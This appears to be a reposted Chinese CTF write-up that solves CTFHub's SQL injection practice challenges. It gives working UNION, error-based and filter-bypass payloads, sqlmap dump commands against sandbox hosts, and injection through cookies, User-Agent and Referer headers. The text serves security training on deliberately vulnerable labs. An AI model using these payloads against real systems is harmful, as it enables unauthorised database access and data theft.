web-SQL注入-CTFHub

前言

在众多的CTF平台当中,作者认为CTFHub对于初学者来说,是入门平台的不二之选。CTFHub通过自己独特的技能树模块,可以帮助初学者来快速入门。具体请看官方介绍:CTFHub。

作者更新了CTFHub系列,希望小伙伴们多多支持。

作者的CTFHub技能树汇总:

CTFHub技能树Web汇总-CSDN博客

关于sql注入,作者认为sqli-labs是一个很好的靶场。作者通关了该靶场,训练到了sql注入的大多数技巧。应对这些题型时就已经得心应手,推荐大家也做一下。

sqli_labs的题解:sqli-labs通关全详解-CSDN博客

sql注入的技术总结:SQL注入全详解_sql注入csdn-CSDN博客

整数型注入

首页

输个1,发现出数据了,一看URL,GET型整数注入,而且还把我们输入的SQL语句也拿出来了,似乎不需要闭合

持续输入,id只到2,输入3就没返回值了

输入1’,验证了确实不需要闭合,没有返回数据说明出错了,但没有报错(不能用报错注入)

那就用联合注入,先看看有几个返回值,

1 union select 0,1#

逐见增加,当从0加到1时,有回显,确定返回值是两个(有时候返回值多于回显位,不一定每个值都显示)

接下来确定我们输入的值(即0和1)对应的回显位(注意union前的语句要是错的,前面语句是对的话,就会一直输出1和ctfhub,得不到我们想要的信息)

-1 union select 0,1#

接下来就是常规步骤

-1 union select 0,group_concat(table_name) from information_schema.tables where table_schema = database()#

这个flag表似乎是我们想要的

-1 union select 0,group_concat(column_name) from information_schema.columns where table_name = 'flag'#

连字段名都是flag,那必然是它了

出了

-1 union select 0,group_concat(flag) from flag#

字符型注入

还是输个1,发现是字符型注入,用单引号闭合

确定回显

剩下的步骤和上题基本一样

报错注入

输个1,查询正确,没有回显位,不能用报错注入

输个1’,有报错,而且看起来不用闭合,用报错注入试试

这里我用了extractvalue()报错,floot()、updatexml()报错都是可以的

1 and extractvalue(1,concat(0x7e,(select database())))#

1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database())))#

1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'flag')))#

1 and extractvalue(1,concat(0x7e,(select group_concat(flag) from flag)))#

发现flag不全

1 and extractvalue(1,concat(0x7e,substr((select group_concat(flag) from flag),30,32)))#

原来只差个}

布尔盲注

输个1

1‘,没啥有价值的信息,没有回显也没有报错

用sqlmap

我的sqlmap是安装在windows上的,在其目录下打开cmd,

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1

成功扫出注入漏洞(是时间盲注,不过无所谓,时间盲注和布尔盲注本质相近)

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 --current-db

查看当前数据库名

查看表名

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli –tables

查看字段名

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

查看用户数据

python sqlmap.py -u http://challenge-503784f287dcc449.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --dump

时间盲注

和布尔盲注一样,我们得不到什么有用的信息,用sqlmap

python sqlmap.py -u http://challenge-7ab8ccdca17dd471.sandbox.ctfhub.com:10800/?id=1

剩下的与上一题相同

MySQL结构

首页

输个1,出数据了,一看URL,GET型注入,可以直接从URL上输入,也可以直接在ID框里输入,

这个题而且还把我们输入的SQL语句也拿出来了,似乎不需要闭合

持续输入,id只到2,输入3就没返回值了,所以只有两个id,1和2

输入1’,验证了确实不需要闭合,没有返回数据说明出错了,但没有报错(不能用报错注入)

那就用联合注入,先看看有数据库给我们返回了几个值,

1 union select 0#
1 union select 0,1#

逐次增加,当从0加到1时,有回显,确定返回值是两个(有时候返回值多于回显位,不一定每个返回的值都显示,这里很明显有两个回显位ID和Data)

接下来确定我们输入的值(即0,1)对应的回显位(注意union前的语句要是错的,前面语句是对的话,比如1,就会一直输出1和ctfhub,得不到我们想要的信息,我们之前试过,id只有1和2,所以输入-1肯定是错的,这一步其实可以和前面一步合并,直接拿-1去测返回值个数)

-1 union select 0,1#

发现0对应ID,1对应Data。

接下来就是常规步骤,

在回显位上得到我们想要的信息,我选择在Data位上得到相关信息。

爆表名

-1 union select 0,group_concat(table_name) from information_schema.tables where table_schema = database()#

这个bfapxsidjd似乎是我们想要的,先试试它

爆字段名

-1 union select 0,group_concat(column_name) from information_schema.columns where table_name = 'bfapxsidjd'#

爆用户数据

-1 union select 0,group_concat(dijkatvoat) from bfapxsidjd#

Cookie注入

Cookie注入,抓包,发现hint

看着像url code,用在线URL 编码/解码翻译试试

翻译成:输个1试试?

和之前提示一样

放包,出数据了,用联合注入试试

cookie上加payload,注意别加错位置

经尝试,数字型注入,不需要闭合,有两个返回值

0 union select 1,2--+

0 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+

0 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'nsnlgmojmb'--+

0 union select 1,group_concat(zyrolpptir) from nsnlgmojmb--+

UA注入

把User-Agent处改为1

出现用户数据,那这里就和之前一样,直接注入就可

-1 union select 1,2

猜猜看返回数据是不是只有两个(发现根本不需要注释)

果然还是只有两个

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()

-1 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'narijgvpvg'

-1 union select 1,group_concat(vlmxnrnwsf) from narijgvpvg

Refer注入

Referer注入没有referer?

自己构造一个

referer: 1

Ok了,在这注入

referer: -1 union select 1,2

referer: -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

referer: -1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'kclnvpdoln'

referer: -1 union select 1,group_concat(lhdlppxexk) from kclnvpdoln

过滤空格

输个1,发现和之前的题一样,按题目来看,是把空格过滤了

针对这种情况,可以有很多方法,比如用其他符号替换、URL编码等,这里可以用/**/或者括号去替换空格

0/**/union/**/select/**/1,2

0/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()

0/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='notpyrplrk'

0/**/union/**/select/**/1,group_concat(bumpvvqaax)/**/from/**/notpyrplrk

综合训练 SQLI-LABS

实际上就是作者在文章开头说的那个靶场,推荐大家自己搭建一下,很简单而且可以节省金币。

具体搭建方法作者在自己文章里引用出来了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/963767.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

LabVIEW如何高频采集温度数据?

在LabVIEW中进行高频温度数据采集时,选择合适的传感器(如热电偶或热电阻)和采集硬件是关键。下面是一些建议,帮助实现高效的温度数据采集: 1. 传感器选择: 热电偶(Thermocouple)&am…

Deep Sleep 96小时:一场没有硝烟的科技保卫战

2025年1月28日凌晨3点,当大多数人还沉浸在梦乡时,一场没有硝烟的战争悄然打响。代号“Deep Sleep”的服务器突遭海量数据洪流冲击,警报声响彻机房,一场针对中国关键信息基础设施的网络攻击来势汹汹! 面对美国发起的这场…

Golang Gin系列-9:Gin 集成Swagger生成文档

文档一直是一项乏味的工作(以我个人的拙见),但也是编码过程中最重要的任务之一。在本文中,我们将学习如何将Swagger规范与Gin框架集成。我们将实现JWT认证,请求体作为表单数据和JSON。这里唯一的先决条件是Gin服务器。…

三、递推关系与母函数,《组合数学(第4版)》卢开澄 卢华明

文章目录 一、似函数、非函数1.1 母函数1.2 母函数的简单应用1.3 整数拆分1.4 Ferrers 图像1.5 母函数能做什么1.6 递推关系1.6.1 Hanoi 问题1.6.2 偶数个5怎么算 1.7 Fibonacci 序列1.7.1 Fibonacci 的奇妙性质1.7.2 Fibonacci 恒等式1.7.3 Fibonacci 的直接表达式1.7.4 Fibon…

97,【5】buuctf web [极客大挑战 2020]Greatphp

进入靶场 审代码 <?php // 关闭所有 PHP 错误报告&#xff0c;防止错误信息泄露可能的安全隐患 error_reporting(0);// 定义一个名为 SYCLOVER 的类 class SYCLOVER {// 定义类的公共属性 $sycpublic $syc;// 定义类的公共属性 $loverpublic $lover;// 定义魔术方法 __wa…

手机上运行AI大模型(Deepseek等)

最近deepseek的大火&#xff0c;让大家掀起新一波的本地部署运行大模型的热潮&#xff0c;特别是deepseek有蒸馏的小参数量版本&#xff0c;电脑上就相当方便了&#xff0c;直接ollamaopen-webui这种类似的组合就可以轻松地实现&#xff0c;只要硬件&#xff0c;如显存&#xf…

JAVA安全—反射机制攻击链类对象成员变量方法构造方法

前言 还是JAVA安全&#xff0c;哎&#xff0c;真的讲不完&#xff0c;太多啦。 今天主要是讲一下JAVA中的反射机制&#xff0c;因为反序列化的利用基本都是要用到这个反射机制&#xff0c;还有一些攻击链条的构造&#xff0c;也会用到&#xff0c;所以就讲一下。 什么是反射…

数据库和数据表的创建、修改、与删除

1.标识符命名规则 数据库名、表名不得超过30个字符&#xff0c;变量名限制为29个 必须只能包含A-Z,a-z,0-9,_共63个字符 数据库名、表名、字段名等对象名中间不能包含空格 同一个MySQL软件中&#xff0c;数据库不能同名&#xff1b;同一个库中&#xff0c;表不能重名&#…

(电脑版)植物大战僵尸幼儿园版本,开启你的冒险之旅!

欢迎来到植物大战僵尸中文版&#xff0c;园长Jen已准备好迎接你的挑战&#xff01;在这个充满乐趣和策略的游戏中&#xff0c;你将体验到多种游戏模式&#xff0c;每种模式都带来不同的挑战和乐趣。 游戏模式&#xff1a; 冒险模式&#xff1a;踏上刺激的冒险旅程&#xff0c;…

SpringBoot中关于knife4j 中的一些相关注解

1、效果图 对比可以明显的看到加了注解与没有加注解所表现出来的效果不同&#xff08;加了注解的更加明了清晰&#xff09; 2、实现效果 Tag注解‌用于为测试方法或测试类添加标签&#xff0c;以便在执行测试时根据标签进行过滤。使用Tag注解可以更灵活地控制测试的执行&#…

双目标定与生成深度图

基于C#联合Halcon实现双目标定整体效果 一&#xff0c;标定 1&#xff0c;标定前准备工作 &#xff08;获取描述文件与获取相机参数&#xff09; 针对标准标定板可以直接调用官方提供描述文件&#xff0c;也可以自己生成描述文件后用PS文件打印 2&#xff0c;相机标定 &…

操作系统1.4

一、操作系统内核 二、微内核与大内核 三、补充

Leetcode—598. 区间加法 II【简单】

2025每日刷题&#xff08;206&#xff09; Leetcode—598. 区间加法 II 实现代码 class Solution { public:int maxCount(int m, int n, vector<vector<int>>& ops) {int ans m * n;int x ops.size();if(ops.empty()) {return ans;}int xm ops[0][0], ym …

【机器学习篇】K-Means 算法详解:从理论到实践的全面解析

网罗开发 &#xff08;小红书、快手、视频号同名&#xff09; 大家好&#xff0c;我是 展菲&#xff0c;目前在上市企业从事人工智能项目研发管理工作&#xff0c;平时热衷于分享各种编程领域的软硬技能知识以及前沿技术&#xff0c;包括iOS、前端、Harmony OS、Java、Python等…

GWO优化LSBooST回归预测matlab

灰狼优化算法&#xff08;Grey Wolf Optimizer&#xff0c;简称 GWO&#xff09;&#xff0c;是一种群智能优化算法&#xff0c;由澳大利亚格里菲斯大学的 Mirjalii 等人于 2014 年提出。该算法的设计灵感源自灰狼群体的捕食行为&#xff0c;核心思想是模仿灰狼社会的结构与行为…

图形学笔记 - 5-光线追踪 - 辐射度量学

文章目录 辐射度量学辐射能和通量&#xff08;功率&#xff09;Radiant Energy and Flux (Power)辐射强度 Radiant Intensity辐照度Irradiance朗伯余弦定律Lambert’s Cosine Law Radiance辐亮度Incident Radiance入射辐亮度Exiting Radiance出射辐亮度 双向反射分布函数 Bidir…

低代码产品表单渲染架构

在React和Vue没有流行起来的时候&#xff0c;低代码产品的表单渲染设计通常会使用操作Dom的方式实现。 下面是一个表单的例子&#xff1a; 产品层 用户通过打开表单&#xff0c;使用不同业务场景业务下的表单页面&#xff0c;中间的Render层就是技术实现。 每一个不同业务的表单…

游戏引擎 Unity - Unity 设置为简体中文、Unity 创建项目

Unity Unity 首次发布于 2005 年&#xff0c;属于 Unity Technologies Unity 使用的开发技术有&#xff1a;C# Unity 的适用平台&#xff1a;PC、主机、移动设备、VR / AR、Web 等 Unity 的适用领域&#xff1a;开发中等画质中小型项目 Unity 适合初学者或需要快速上手的开…

Sentinel 断路器在Spring Cloud使用

文章目录 Sentinel 介绍同类对比微服务雪崩问题问题原因问题解决方案请求限流线程隔离失败处理服务熔断解决雪崩问题的常见方案有哪些&#xff1f; Sentineldocker 安装账号/ 密码项目导入簇点链路请求限流线程隔离Fallback服务掉线时的处理流程 服务熔断 Sentinel 介绍 随着微…

我们信仰AI?从神明到人工智能——信任的进化

信任的进化&#xff1a; 信任是我们最宝贵的资产。而现在&#xff0c;它正像黑色星期五促销的廉价平板电视一样&#xff0c;被一点点拆解。在过去&#xff0c;世界很简单&#xff1a;人们相信晚间新闻、那些满是灰尘书籍的教授&#xff0c;或者手持病历、眉头紧锁的医生。而如…